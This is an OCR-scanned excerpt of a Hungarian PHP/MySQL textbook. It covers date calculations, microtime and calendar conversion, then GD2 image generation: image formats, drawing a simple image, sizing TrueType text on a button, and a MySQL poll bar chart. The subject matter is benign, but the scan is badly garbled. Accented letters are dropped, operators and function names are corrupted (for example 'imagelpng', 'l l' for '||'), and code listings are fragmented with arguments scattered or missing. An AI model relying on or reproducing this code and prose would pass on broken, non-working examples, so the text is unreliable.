A kvetkez lekrdezs egy napot ad az 1700. februr 28-ai dtumhoz, s az gy kapott dtumot adja vissza:
21
interval l
day)
ll szletsnap meghatrozsa
$nap
$honap
$ev
18;
=
9;
1972;
date("c",
mktime (0,
O,
O,
$honap,
$nap,
$ev));
mysqli_connect( 'localhost',
mysqli_query($adatbazis,
'felhasznala',
'jelszo') ;
"select datediff(now(),
'$sznapiSO') ") ;
mysqli_fetch_array($eredmeny);
'1972-09-18T00:00:00+10:00')
A now()MySQL fggvny minden esetben az aznapi dtumot s pontos idt a<lja vissza. A MySQL 4.1.1 verzijtl elr
het datediff () fggvny a kt dtum kztti, napokban kifejezett klnbsget adja vissza.
rdemes megjegyezni, hogy a kdban nem jelljk ki valamely tbla adatait, st, mg a kd ltal hasznland adatbzist sem
vlasztjuk ki, de a szmtsokhoz rvnyes felhasznli nvvel s jelszval be kell jelentkeznnk a MySQL kiszolglra.
Mivel kifejezetten a pldban ltott szmrsra nem ltezik beptett fggvny, az vek pontos szmnak Iciszmolsra egy
viszonylag sszetett SQL lekrdezst kell hasznlnunk. A pldban kiss leegyszerstettk a dolgokat, mert a napokban kife
jezett letkort 365,25-tel osztva szmoltuk ki az veket. Ha az adott szemly szletsnapjn hasznljuk ezt a szmtst, akkor
akr egy vet is tvedhetnk attl fggen, hogy hny szkvet lt mr meg a delikvens.
Dtum s id kezelse
329
Mikroszekundumok hasznlata
Egyes alkalmazsokhoz nem elegenden pontos az id msodpercekben val mrse. Ha nagyon rvid idszakokat, pldul
a PHP kdunk egy rsznek vagy egsznek futtatshoz szksges idtartamor kvnjuk mrni, amicrotime () fiiggvnyt
kell hasznlnunk.
A PHP 5-s verzijban a true rtket t kell adnunk amicrotime () fiiggvnynek. Amikor ezt az opcionlis param
tert tadjuk, amicrotime () lebegpontos rtkknt adja vissza az idt, ami kszen ll arra, hogy a neknk tetsz clra fel
hasznljuk. Az rtk megegyezik a mkt ime() , t ime () s dat e () fiiggvny ltal visszaadottal, de trtrsze is van.
Az
'');
"0. 34 380900 ll 7 4 091816". Az els szm a trtrsz, a msodik szm pedig az 1970.janur l. ta eltelt id msodpercben
kifejezve.
Mivel a szmokat knnyebb kezelni, mint a karakterlncokat, a P H P 5-s verzijtl kezdve rdemes amicrotime ()
fliggvnyt a true paramterrel meghvni.
Naptrfggvnyek hasznlata
A PHP szmos fiiggvnnyel segti a klnbz naptrrendszerek kztti tvltst. A fbb naptrak, amelyekkel dolgozni fo
gunk, a Gergely- s a Julin-naptr, illetve aJulin-napszmll.
A legtbb nyugati orszg jelenleg a Gergely-naptrat hasznlja. A Gergely-naptr szerinti 1582. oktber 15. megegyezik
aJulin-naptr szerinti 1582. oktber 5-vel. Ezen idpont eltt aJulin-naptr volt a szles krben hasznlt naptrrendszer.
A klnbz orszgok eltr idpontban vltottak a Gergely-naptrra, egyes orszgok (pldul Oroszorszg) csak a 20. szzad
elejn tettk meg ezt.
E kt naptrrendszert sokan ismerik, de nem biztos, hogy aJulin-napszmllrl (Julian Day Count-JD) is hallottunk
mr. Ez utbbi sok szempontbl a Unix idblyeghez hasonl. Egy idszmtsunk eltt 4000 krli dtumtl szmolja az
eltelt napokat. nmagban nem klnsebben hasznos, rtelmet akkor nyer, amikor a naptrrendszerek kztt vltjuk t a d
tumokat. Ilyen tvltskor elszr aJulin-napszmllra vltunk, s majd onnan a kvnt naptrra.
Unix alatti hasznlarukhoz elszr az --enable-calendar belltssal be kell fordtanunk PHP-be a calendar kiter
jesztst. Az ltalnos Windows-teleptsbe be vannak ptve ezek a fiiggvnyek.
Hogy rrezznk mkdskre, nzzk meg a Gergely-naptrrlJulin-naptrra vltshoz szksges fiiggvnyek prototpu
st:
int gregoriantojd(int honap,
int nap,
int ev)
$jd
gregoriantojd
echo jdtojulian($jd);
Ez a fiiggvnyhvs HH/NN/ formtumban rja ki aJulin-naptr szerinti dtumot.
Ezeknek a fiiggvnyeknek a klnbz v ltozataival vltharunk a Gergely-, aJulin-, a francia s a zsid naptr, illetve
a
Tovbbi olvasnival
Ha szeretnnk a PHP s a MySQL dtum- s idfiiggvnyeirl tbbet megrudni, olvassuk el a kziknyvek idevg rszeit
a http://php.net/manual/en/ref.datetime.php, illetve a http:/ l dev.mysql.com/doc/re&nan/5.0/en/date-and-timefunctions.htrnl
cmen!
Ha naptrrendszerek kztt kell dtumokat tvltanunk, olvassunk bele a PHP kziknyv naptrkezel fiiggvnyeket ler
oldalaiba (http://php.net/manual/en/ref.calendar.php)!
Hogyan tovbb:
A PHP egyik egyedlll s igen hasznos funkcija a kpek menet kzbeni ltrehozsnak lehetsge. A Kpek ellltsa cm
az
21
22
Kpek ellltsa
A PHP egyik igen hasznos funkcija a kpek programbl val ltrehozsnak lehetsge. A nyelv szmos olyan fggvnnyel
rendelkezik, amely kpekrl szelgltat informcikat,a GD2 knyvtrat pedig j kpek ltrehozsra,illetve meglvk keze
lsre hasznlhatjuk. A fejezetbl kiderl, hogyan rhetnk el rdekes s hasznos kpi hatsokat ezen kpkezel fggvnyek
segtsgve!.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Kpi tmogats belltsa a PHP-ben
Kpformromok
Kpek ltrehozsa
Automatikusan ltrehozott kpek hasznlata ms oldalakon
Szveg s betk hasznlatval ltrehozott kpek
brk s grafikonadatok rajzolsa
Munknk sorn kt pldt nznk meg rszletesebben: az egyik sorn programbl hozzuk ltre egy weboldal gombjait,
a msikban pedig MySQL adatbzisbl szrmaz adatokbl ksztnk oszlopdiagramot.
A pldkhoz a GD2 knyvtrat fogjuk hasznlni, m nem ez az egy npszer, a kpekkel val munkt lehetv tev PHP
knyvtr ltezik. Az ImageMagick knyvtr nem rsze ugyan az ltalnos PHP-teleptsnek, de a PHP Extension Class
Library (PECL) bvtmnyekbl egyszeren telepthet. Az ImageMagick s a GD2 szmos igen hasonl funkcival rendel
kezik, m egyes terleteken az elbbi tbbre kpes. Ha GIF kpeket (vagy akr animlt GIF kpeket) szeretnnk ltrehozni,
az
ImageMagick knyvtrra lesz szksgnk. Amennyiben valdi sznezer (true color md) kpekkel vagy cltszsgi hat
Ha Unixot hasznlva szetetnnk PNG kpekkel dolgozni, teleptennk kell a http://www.libpng.org/pub/png/ oldalrl
elrhet libpng, illetve a http://www.gzip.org/zlib/ oldalrl elrhet
l ib knyvtrat.
332
22. fejezet
Ha szeretnnk kpeinken TrueType bettpusokat hasznlni, a FreeType knyvtrra is szksgnk lesz. A 4-es verzi ta
ez is elrhet a PHP-ben, de ha kell, a http://www.freetype.org/ oldalrl letlthet.
Ha inkbb PostScript Type l bettpusokkal kvnunk dolgozni, az frp://sunsite.unc.edu/pub/Linux/libs/graphics/ oldal
rl letlthet tllib knyvtrra lesz szksgnk.
Ezt kveten a
--with-tllib[=path/to/tllib]
belltssal kellfuttatni a PHP konfigurl programjt. Vgl termszetesen a --wi th-gd hasznlatval kell konfigurlni
a PHP-t.
Kpformtum ok
A GD knyvtr a JPEG, a PNG s a WBMP formtumot tmogatja, a GIF kpeket mr nem. Nzzk t rviden ezen form
JPEG
A JPEG a joint Photographic Experts Group rvidtse, ami igazbl nem egy adott formtum, hanem egy kptmrtsi szab
vnyt kidolgoz munkacsoport neve. A JPEG-nek nevezett fjlformtum hivatalos neve JFIE s ez nem ms, rnint a JPEG
csoport ltal ltrehozott egyik szabvny.
A JPEG fjlokat elssorban klnbz szneket s szntmeneteket tartalmaz fnykpek vagy egyb kpek trolsra hasz
22
nljuk. A formtum vesztesges tmrtse hasznl, vagyis a kprninsg valamilyen mrtk romlsval tmriti a fnykpet
kisebb fjlba. Mivel a JPEG fjlok ltal crolt kpek lnyegben szntmeneteket tartalmaz analg kpek, az emberi szem bi
zonyos mrtk minsgromlst tolerlni kpes (rnivel egyszeren nem veszi szre). A formtum nem megfelel vektorgrafikus
brkhoz, szveghez s teli sznnel kitlttt felletekhez.
A JPEG/JFIF formtumrl a JPEG hivatalos oldaln bvebben is olvashatunk (http://wwwJpeg.org/).
PNG
A PNG a Portab/e Network Graphics rvidtse. Ez a fjlformtum a GIF (Graphics Interchange Format) helyt vette t (rvi
desen ltni fogjuk, rnirt). A PNG w eboldala gy r rla:.bivalyers kpformtum vesztesgmentes tmrtssel:' Vesztesg
mentessgnek ksznhecen a kpformtum olyan kpekhez is kivlan hasznlhat, amelyek szveget, egyenes vonalakat s
teli sznnel tlttt formkat tartalmaznak- pldul fejlcekhez vagy w eboldalak gombjaihoz. A PNG kpek ltalnossgban
ugyanarra a clra hasznlhatk, mint korbban a GIF-ek. Egy adott kp PNG-vel tmrtett vltozata jellemzen hasonl
mret, rnint a GIF-fel tmrtett trsa. A PNG tmogatja a fokozatos tltszsgot, a gammakorrekcit s a ktdimenzis
vltott soros megjelenitst. Nem tmogatja viszont az animcikat, ezrt ilyen clra a jelenleg is fejleszts alatt ll MNG for
mtumot kell hasznlni.
A veszcesgmentes trndtsi eljrsok rajzokhoz s brkhoz megfelelnek ugyan, nagy fnykpek trolsra viszont kevsb
WBMP
A WBMP, amely a Wireless Bitmap rvidtse, kifejezetten vezetk nlkli eszkzk szmra kialaktott fjlformtum. Egyelre
GIF
A GIF a Graphics Interchange Forrnat rvidtse. Tmrtett, vesztesgmentes formtum, amit szles krben hasznlnak az
interneten szveget, egyenes vonalakat vagy teli sznnel kitlttt formkat tartalmaz kpek trolsra.
A GIF formtum a 24 bites RGB szntr 256 klnbz sznbl ll sznpalettt hasznl. Tmogatja az animcikat, s
lehetv teszi, hogy minden kpkockn ms s ms sznekbl lljon a 256 szn paletta. A hasznlhat sznek korltozott sz
ma rniatt a GIF formtum nem alkalmas sznes fnykpek s ms folytonos tnus kpek ellltsra, de tkletesen megfelel
olyan egyszerbb kpeknl, rnint a grafikk vagy a teli szn elemekbl ll logk.
A GIF fjlok LZW vesztesgmentes adattmrtse hasznlnak, amely a kprninsg romlsa nlkl cskkenti a fjlmrecec.
Kpek ellltsa
333
Kpek ltrehozsa
A kpek PHP-beli ltrehozsnak ngy lpse a kvetkez:
l.
2.
3.
4.
Erforrsok felszabadtsa.
Nzznk pldt egy egyszer kpet ltrehoz kdra! A teljes kdot a 22.1 pldakd tartalmazza.
22.1 pldakd: egyszeru_abra. php-Egyszer vonalas bra rtkests Jelirattal
<?php
ll kp belltsa
$magassag
200;
$szelesseg = 200;
$kep = imagecreatetruecolor{$szelesseg,
$feher
255,
imagecolorallocate {$kep,
O,
O,
$magassag);
255,
255);
64);
ll rajzols a kpre
imagefill{$kep,
O,
imageline{$kep,
O,
O,
imagestring{$kep,
$kek);
O,
4,
$szelesseg,
50,
150,
$magassag,
$feher);
'rtkests',
$feher);
ll kimenet ltrehozsa
Header {'Content-type: imagelpng');
imagepng {$kep);
ll erforrsok felszabadtsa
imagedestroy{$kep);
?>
A kd futtatsnak eredmnye a 22.1 brn lthat.
22.1 bra: A kd kk htteret rajzol, majd egy vonalat s egy szveges cmkt ad a kphez.
Most pedg menjnk vgig egyenknt a kp ltrehozsnak lpsein!
Rajzvszon ltrehozsa
Hogy elkezdhessnk PHP-ben megalkotni vagy mdostani egy kpet, ltre kell hoznunk egy kpazonostt. Ennek kt alap
ver mdja van. Az egyik egy res rajzvszon ltrehozsa, amelyet az imagecreatetruecolor{) fggvny meghvsval
rhetnk el, ahogy tettk azt a fenti kdban is az albbi sorral:
$kep = imagecreatetruecolor{$szelesseg,
$magassag);
22
3 34
22. fejezet
Mindhrom fggvny a fjl nevt vrja paramterknt, ahogy az albbi pldban is lthatjuk:
$kep = imagecreatefrompng('alap kep.png');
A fejezet egy ksbbi rszben arra is ltharunk pldt,hogyan hozharunk ltre gombokat meglv kpek felhasznlsval.
22
O,
O,
255,
255);
64);
O,
0,
$kek);
kp koordintit a bal fels sarokbl szmoijuk, ez az x=O, y=O pont. A kp jobb als sarka az
Szmtgpes grafikk esetben ez gy megszokott, viszont a matematikban
megszakottal ellenttes, ezrt gyeijnk a helyes hasznlatra!
Megjegyzs: A
O,
0,
$szelesseg,
(o,
$magassag,
$magassag ) :
$feher);
4,
50,
150,
'rtkests',
$feher);
Az imagestring( ) fggvny az elz ketttl kiss eltr paramtereket fogad. A fggvny prototpusa a kvetkez:
int imagestring (resource kep_azonosto,
int betutipus,
int x,
int y,
string s,
int szin)
Paramcerei sorban: a kpazonosr, a bettpus, a szveg kezdpontjnak x s y koordinrja,az rni kvnt szveg s a szn.
A bettpus egy l s 5 kztri szm. Ezek a szmok latin2 kdols,beptett bettpusokat jellnek gy,hogy a magasabb
szmok nagyobb bettpusoknak felelnek meg. Hasznlhatunk helyettk TrueType vagy PostScript Type l berket is. Mind
egyik fontkszlethez tartozik egy fggvnykszlec. A kvetkez pldban a TrueType fggvnyeker fogjuk hasznlni.
Nyoms rv az alternatv bettpusokhoz tartoz fggvnykszletek hasznlatra, hogy az imagestring () s a hozz
kapcsold fggvnyek,pldul az imagechar() (karakter rsa a kpre) ltal rt szveg nem lsimtott. A TrueType s
a PostScript fggvnyek ezzel szemben lsimtott szveget lltanak el.
Ha bizonytalanok vagyunk az lsimtott s az lsimts nlkli betk kztri klnbsget illeten, vessnk egy pillantst
a 22.2 brra! Ahol grbk vagy velt vonalak vannak a betkben,az lsimts nlkli szveg tredezettnek tnik. A grb-
Kpek ellltsa
335
letet vagy vet ekkor .,lpcseffekt" adja ki. Az lsimtott kp a httr s a szveg szne kztti szn kppontok felhasznl
sval simeja ki a szveget.
Nonnal
Anti -alias ed
22.2 bra:
Pldnkban az elbbit vlasztottuk, vagyis kzveclenl a bngsznkben jelenik meg a kp. Ez is kt lpsbl ll folyamat.
Elszr is kzlnnk kell a bngszvel, hogy kpet, nem pedig szveget vagy HMTL-t kivnunk megjelenteni. A Header ()
fggvnyt hasznljuk erre, amivel meghatrozhatjuk a kp MIME-tpust:
Header
('Content-type: image/png');
Amikor be szetetnnk tlteni bngsznkbe egy fjlt, a webszerver elszr is a MIME-tpust kldi el. HTML vagy PHP
22
az
eddig
kezdolap.html ');
A Header () fggvny hasznlatval kapcsolatban meg kell emlteni, hogy a fggvny abban
az
mr el lett kldve, nem hajtathat vgre. Amint valamilyen kimenetet kldnk a bngsznek, a PHP automatikusan elkldi
neki a HTTP fejlcet. gy, ha brmilyen echo utasts vagy akr fehrkz karakter tallhat a kezd PHP cmke (tag) eltt ,
a
kiszolgl elkldi a fejlcet, mi pedig figyelmeztet zenetet kapunk a PHP-tl, amikor megprbljuk meghvni a Header ()
fggvnyt. A fggvny tbbszri meghvsval ugyanakkor tbb HTTP fejlcet is elkldhetnk ugyanabban a kdban, de
a
fggvnyhvsoknak mind
az
image/jpeg');
A msodik lehetsg, egyben az sszes elbbinek az alternativja, ha a bngszben val megjelents helyett fjlba rjuk
a
az
$fajlnev);
Ne fele<ljk el, hogy a PHP-bl fjlba rsra vonatkoz sszes szably (pldul a jogosultsgok megfelel belltsa) itt is
rvnyes!
Erforrsok felszabadtsa
Ha befejeztk a kppel a munkt, a kpazonost megsemmistsvel adjuk vissza a kiszolglnak a lefoglalt erforrsokat. A z
imagedestroy () meghvsval tehetjk ezt:
imagedestroy($kep);
336
22. fejezet
A PNG, a JPEG vagy a GIF kp kzveclen beillesztse helyett szrjuk be az SRC cmkbe a kpet elllr PHP kdot.
A kd futtarsnak eredmnye a sorok kz kerl, ahogy azt a 22.3 bra is muratja.
22
22.3 bra: A dinamikusan ellltott, sorok kz beszrt kp pontosan gyjelenik meg
a felhasznl szmra, mint brmilyen ms, hagyomnyos kp.
22.4 bra: A felleten a felhasznl kivlaszthatja a gomb sznt, illetve begpelheti a kvnt szveget.
Kpek ellltsa
337
Ilyen tpus felleteket pldul weboldalakat automatikusan elllt programokhoz vehetnk ignybe. A weboldal gomb
jainak futtats alatti ltrehozshoz soron bell is meghvhatnnk a kdot, de ehhez gyorsttrazsra lenne szksg annak
rdekben, hogy mindez ne legyen tl idignyes.
$gomb_szoveg
$szin
22
$_REQUEST['gomb_szoveg'];
$_REQUEST['szin'];
if (empty($gomb_szoveg}
l l
empty($szin}}
{
echo
exit;
$szelesseg_kep
$magassag_kep
imagesx($kep};
imagesy($kep};
$szelesseg_kep - (2 *
ll Dertsk ki,
18};
18};
ha nem,
cskkentsk addig,
$betumeret = 33;
ll kzlni kell a GD2-vel,
putenv('GDFONTPATH=C:\WINDOWS\Fonts'};
$betutipus = 'arial';
do
$betumeret--;
ll a szveg adott betmret melletti mretnek kiszmtsa
$befoglalo keret=imagettfbbox ($betumeret,
O,
$betutipus,
$gomb szoveg};
338
22.fezet
$jobb szoveg
$bal szoveg
$befoglalo_keret[2];
$befoglalo_keret[O];
ll jobb koordinta
ll bal koordinta
ll milyen szles?
ll milyen magas?
l l
$szelesseg_szoveg>$szelesseg kep_margok_nelkul
);
l l
$szelesseg_szoveg>$szelesseg_kep_margok nelkul )
else
22
ll Most kiszmoljuk,
$szoveg_x
$szoveg y
$szoveg y
$feher
2;
ll alapvonal meghatrozsa
imagecolorallocate ($kep,
imagettftext ($kep,
$betumeret,
O,
255,
255,
$szoveg_x,
255);
$szoveg_y,
$feher,
$betutipus,
$gomb_szoveg);
Header ('Content-type:
imagelpng');
imagepng ($kep);
imagedestroy ($kep);
?>
Ez az egyik leghosszabb kd, amivel idig tallkoztunk. Nzzk vgig lpsenknt! A kd nmi alapvet hibaellenrzssei
kezddik, m:Yd a munknk sorn hasznlt rajzvszon belltsval folytatdik.
A rajzvszon belltsa
A 22.2 pldakdban nem res lappal indulunk, hanem meglv kpet felhasznlva kezdjk meg a gomb ltrehozst. Hrom
vlasztsi lehetsget adunk a gomb alapsznt illeten: vrs (voros-gomb.png ) , zld (zold-gomb.png ) s kk ( kek
gomb.png ).
Kpek ellltsa
339
Kezdsknt kinyerjk a sznt a$_REQUEST szupergloblis vltozbl, majd a megfelel gomb alapjn belltjuk az j kp
azonostt:
$szin = $_REQUEST['szin'];
A paramterknt egy PNG kp fjlnevt fogad imagecreatefrompng() fggvny egy j, a PNG fjl msolatt
tartalmaz kphez tartoz azonostt ad vissza. Fontos megjegyezni, hogy ez semmilyen mdon nem vltoztatja meg az
eredeti PNG kpet. Megfelel tmogats teleptse esetn ugyangy hasznlhatjuk az imagecreatefromjpeg ( ) s az
imagecreatefromgif () fggvnyt is.
Megjegyzs: Az imagecreatef rompng ( ) fggvny csak a memriban hozza ltre a kpet. Fjlba mentshez vagy
bngszben val megjelentshez az imagepng ( ) fggvnyt kell meghvnunk. Rvidesen ezt is bemutatjuk, de eltte van
mg egy kis dolgunk a kppel.
A kvetkez kt vltoz a gomb szltl szmtott bels margkat jelkpezi. Mivel a gomb szle lekerektett, ezt figyelembe
vve elegend helyet kell hagynunk a szveg szltl. Ha ms kpekkel dolgozunk, eltr rtkeket kell hasznlnunk. Jelen
esetben minden oldalon krlbelilS kppontnyi margval kell szmolnunk:
$szelesseg_kep_margok_nelkul = $szelesseg_kep - (2 *
18);
A kiindul betrnretet is meg kell adnunk. Induljunk ki 32 pontbl (illetve valjban 33-bl, de azt azonnal cskkentjk
eggyel), mert nagyjbl ez a legnagyobb betmret, ami egyltaln rfrhet a gombra:
$betumeret = 33;
GD2 hasznlata esetn a GDPONTPATH krnyezeti vltoz belltsval kzlnnk kell, hogy hol tallhatk rendszernkn
a bettpusok:
putenv('GDFONTPATH=C:\WINDOWS\Fonts');
A hasznlni kvnt bettpus nevt is meg kell adnunk. T rueType fggvnyekkel fogunk dolgozni ezzel a bettpussal. Ezek
a fugg vnyek az elzekben megadott elrsi tvonalon fogjk keresni a bettpus fjljt, s
tsseiltjk el a fjlnevet:
$betutipus =
'arial';
Opercis rendszertl fggen elkpzelhet, hogy a bettpus nevhez neknk kell hozzadni a . ttf kiterjesztst. Ha sz
mtgpnkn nem tallhat meg a pldban hasznlt Arial, brmilyen ms T rueType bettpusr vlaszthatunk helyette. Most
pedig egy ciklussal addig cskkentjk a betmretet, amg a felhasznl ltal elkldtt szveg r nem fr a gombra:
do
$betumeret--;
$jobb_szoveg = $befoglalo_keret[2];
$bal_szoveg = $befoglalo_keret[O];
$szelesseg_szoveg
$betutipus,
ll jobb koordinta
$jobb_szoveg - $bal_szoveg;
&&
$gomb_szoveg);
ll bal koordinta
O,
ll milyen szles?
- $befoglalo_keret[1]);
ll milyen magas?
22
340
22.fezet
( $magassag_szoveg>$magassag_kep_margok_nelkul
l l
$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )
);
Ez a kd a szveg befogla/
kerete {bounding box) alapjn vizsglja a szveg mrett. A TrueType bettpusok kezels-
re hasznlhat egyik fggvnyt, az imagegetttfbbox ()-ot hasznljuk ehhez. A megfelel mret meghatrozsa utn
TrueType bettpus {a pldban ez Arial, de brmelyiket vlaszthatjuk) s az imagettftext () fggvny hasznlatval fog
juk a szveget a gombra rni.
A szveg befoglal kerete az a legkisebb tglalap, amit a szveg kr tudunk rajzolni. A 22.6 brn ltharunk r pldt.
(O.O)Kattints ram
22.6 bra: A
befogla/ keret koordintit az alapvonalhoz viszonytva adjuk meg. Az origt (0, 0) jelli.
O,
$betutipus,
$gomb_szoveg);
22
Jegyezzk meg, hogy a fggvnynek tnylegesen a bettpusr tartalmaz fjl elrsi tvonalt kell tadni! Jelen esetben ez
a fjl ugyanabban a knyvtrban tallhat, mint a kd {ez az alaprtelmezett lehetsg), ezrt nem kellett hosszabb elrsi t
vonalat meghatroznunk.
A fggvny a befoglal keret sarkainak koordintit tartalmaz tmbbel tr vissza. A tmb tartalmt a 22.1 tblzat mutatja.
22.1 tblzat:
Tmbndex
Tartalom
A tmb tartalmt gy a legknnyebb megjegyezni, ha emlksznk r, hogy a szmozs a befoglal keret bal fels sarkbl
indul, s az ramutat jrsval ellenttesen halad. Az egyeden trkks dolog az imagettfbbox() fggvny ltal visszaadott
rtkekkel kapcsolatban az, hogy ezek az orighoz viszonytott koordintartkek. A kpek esetn hasznlt, a bal fels sarok
hoz kpest viszonytott koordintkkal ellenttben azonban ezeket a szveg alapvonalhoz viszonytva kapjuk meg.
Nzzk meg jbl a 22.6 brt! A betk talpnl egy vzszintes vonalat ltunk. Ezt hhjuk
betk, rnint pldnkban ag, az alapvonal al nylnak. A betk ezen rszt
Ennek az alapvonalnak a bal szle az orig - vagyis az a pont, ahol az x s az y koordinta is O. Az alapvonal feletti pontok x
koordint:ija pozitv, az alatta levk pedig negatv. A szveg radsul a befoglal kereten kivli koordintartkekkel is rendel
kezhet. Knnyen elfordulhat pldul az, hogy a szveg kezdpontjnak -l az x koordintja.
Mindez pusztn azt jelenti, hogy figyelmesen kell eljrni, amikor ezekkel az rtkekkel szmolunk.
A kvetkezkppen szmoljuk a szveg szlessgt s magassgt:
$jobb_szoveg
$bal szoveg
$befoglalo_keret[2];
$befoglalo keret[O];
//jobb koordinta
//bal koordinta
abs($befoglalo_keret[7]
//milyen szles?
- $befoglalo_keret[l]);
//milyen magas?
Kpek ellltsa
l while ( $betumeret>8
341
&&
$magassag szoveg>$magassag_kep_margok_nelkul
l l
$szelesseg_szoveg>$szelesseg kep_margok_nelkul )
);
Kt felttelhalmazt vizsglunk. Az elsnl azt szeretnnk megllaptani, hogy mg olvashat-e a bet; 8 pontos betnl
kisebbet nincs rtelme hasznlni, mert a szveg olvashatatlanul kicsi lesz. A msodik felttelhalmazzal azt vizsgljuk, hogy
aszveg elfr-e a gomb rhat felletn..
Ezt kveten megnzzk, hogy sikerlt-e iteratv prblkozsainkkal megfelel betrnretet tallni, s ha nem, akkor hiba
zenetben jelezzk ezt:
if ( $magassag_szoveg>$magassag_kep_margok nelkul
l l
$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )
ll olvashat mretben nem fr r a szveg a gombra
echo
A szveg elhelyezse
Ha eddig minden rendben ment, akkor kvetkez feladatunk a szveg kezdpontjnak meghatrozsa. Ez lesz a rendelkezsre
ll tr kzppontj a.
22
abs($befoglalo keret[7]);
ll alapvonal meghatrozsa
Ezek a korrekcis tnyezk figyelembe veszik az alapvonalat, s egy kis igaztst hajtanak vgre, mivel a szveg kiss"fejnehz:'
255,
255,
255);
$betumeret,
O,
$szoveg_x,
$szoveg y,
$feher,
$betutipus,
$gomb_szoveg);
A fggvny szmos paramtert hasznl. Ezek sorrendben: a kpazonost, a pontokban meghatrozott betmret, a szveg
dlsnek szge, kezdpontjnak x s y koordintja, szne, a bettpusr tartalmaz fjl, majd vgl a gombra rand szveg.
Befejezs
Vgl megjelentjk a gombot a bngszben:
Header (ontent-type:
imagelpni l;
imagepng ($kep);
E n nyi! Ha minden rendben volt, akkor a 22.5 brn lv gombhoz hasonlt kell ltnunk bngsznkben.
342
22.fezet
szavazas
lesz.A tbla elgg magtl rtetd, a 22.3 pldakdban tallhat SQL kd furtatsval pedig egyszeren ltrehozhat. Meg
tehetjk ezt, ha rendszergazdaknt (root) bejelentkezve az albbi utastst futtatjuk:
mysql -u root -p < szavazas_beallitasa.sql
22
jelolt VARCHAR(30),
szavazatok szama INT
);
INSERT INTO szavazas_eredmenyek VALUES
('Kovcs Jnos',
('Nagy Mria',
('Kiss Istvn',
0),
0),
0)
'szavazas';
Az adatbzis hrom jelltet tartalmaz. A szavazfelletet a szavazas. html nev oldal knlja.Az oldal kdjt a 22.4
pldakd tartalmazza.
22.4 pldakd:
szavazas.h tml
<html>
<head>
<title>Szavazs</title>
<head>
<body>
<hl>Kzvlemny-kutats</hl>
<p>Kire fog voksolni a vlasztsokon?
</p>
Kpek ellltsa
343
Kzvlemoy-kutnts
................
01...
0-0IOoo .....
n..
....!...
-"4-it.t7CE
22
A szavaz eredmMye
"'*'"*'"
]"'
ll'lb
NI!WM*"
l(isslllVIIn
22.8 bra: A
Viszonylag hossz kd szksges a diagram ellltsra. Ngy rszre bontotruk, hogy egyenknt tek.inthessk t ezeket.
A kd nagy rsze ismers lesz, sok ehhez hasonl MySQL-es pldt ltrunk mr. Azt is tudjuk mr, hogyan festhetnk a rajz
vszonra egyszn htteret, s hogyan rharunk r szveget.
A kd j rszei a vonalak s tglalapok rajzolsval kapcsolatosak. Figyelmnket ezekre a rszekre fordtjuk. A ngy rszbl
ll kd els rszt a 22.5.1 pldakd tartalmazza.
22.5.1 pldakd: eredmenyek_megjelenit ese. php
nyeket
<?php
/*******************************************
Adatbzis lekrdezse a szavazsi adatok begyjtse rdekben
*******************************************/
ll szavazat begyjtse az rlaprl
$szavazat=$_REQUEST['szavazat'];
ll bejelentkezs az adatbzisba
if
(! $adatbazis kapcsolat
'szavazas',
'szavazas',
'szavazas'))
344
22. fejezet
$szavazat = addslashes($szavazat);
$lekerdezes
"update szavazas_eredmenyek
set szavazatok szama = szavazatok szama +
hogy a felhasznl
szavazott-e
$lekerdezes = 'select * from szavazas_eredmenyek';
if(!($eredmeny = @$adatbazis_kapcsolat->query($lekerdezes)))
22
$osszes szavazat
+=
$sor->szavazatok szama;
$eredmeny->data_seek(0);
ll eredmnymutat visszalltsa
A 22.5.1 pldakdban lthat l. rszben kapcsoldunk a MySQL adatbzishoz, a felhasznl voksa alapjn frisstjk a sza
vazatok szmt, majd lekrdezzk az el trolt eredmnyeket. Az adatok birtokban elkezdhetjk a diagram rajzolshoz szk
sges szmtsokat. A 2. rszt a 22.5.2 pldakdban tallj uk.
22.5.2 pldakd: eredmenyek _megj elen itese. php-A 2. rsz bellga a diagram rajzolshoz szksges vltozkat
/*******************************************
A diagramhoz szksges kiindul szmtsok
*******************************************/
ll llandk belltsa
putenv('GDFONTPATH=C:\WINDOWS\Fonts');
$szelesseg=500;
$bal_margo = 50;
$jobb_margo = 50;
$oszlop_magassaga = 40;
$oszlopok_koze = $oszlop_magassagal2;
$betutipus = 'arial';
$felirat_merete = 16;
$nagy_meret= 12;
$kis_meret=
12;
ll pont
ll pont
ll pont
Kpek ellltsa
$szoveg_behuzasa
10;
345
60;
$y= 50;
$oszlop egyseg
($szelesseg-($x+$jobb_margo}}
$jeloltek_szama
az
$oszlopok_koze ;
meret, Skis_meret
s $szoveg_behuzasa) .
Ezen alaprtkek birtokban elvgezhegk a szksges szmtsokat. Rajzolni szeretnnk egy alapvonalat, amelytl az
,.
sszes oszlop indulni fog. Ennek helyt gy szmolhatjuk ki, hogy a bal marghoz hozzszmtjuk a feliratokhoz szksges
helyet. Ha fontos a rugalmassg, szrnitsuk ki egyszeren a leghosszabb nv pontos szlessgt!
Kt nagyon fontos rrket is Icikalkullunk:
$oszlop_egyseg
az
($szelesseg-($x+$jobb_margo}}
mutat.
A msodik rtk a rajzvszon magassga:
$magassag = $jeloltek_szama
Ez az
rtk alapveten
az
oszlopok magassga s az oszlopok kztti trkz sszegnek az oszlopok szmval val szorzata,
/*******************************************
Alapkp belltsa
*******************************************/
ll res rajzvszon ltrehozsa
$kep = imagecreatetruecolor($szelesseg,$magassag};
ll Sznek kivlasztsa
$feher=imagecolorallocate($kep,255,255,255};
$kek=imagecolorallocate($kep,0,64,128};
$fekete=imagecolorallocate($kep,O,O,O);
$rozsaszin = imagecolorallocate($kep,255,78,243};
$szoveg_szine = $fekete;
$szazalek_szine
$hatterszin
$fekete;
Sfeher;
$vonalszin = $fekete;
$oszlop_szine
$kek;
$szamok_szine
Srozsaszin;
22
346
22. fejezet
imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin);
ll Felirat hozzadsa
$felirat =
abs($felirat_meretei[7] - $felirat_meretei[l]);
$felirat_vonal_felett;
ll y szerint u.a.
22
fggvnyt meghvva fekete krvonalat rajzolunk a rajzvszon szle kr. Ez a fggvny kitlts nlkli, krvonallal rendel
kez tglalapot rajzol. Paramcerei megegyeznek az elbb ltott msik fggvnyveL Figyeljnk fel arra,hogy a tglalapot
a $szelesseg-l s $magassag-l koordintig rajzoljuk-egy $szelesseg szlessg s $magassag magassg rajz
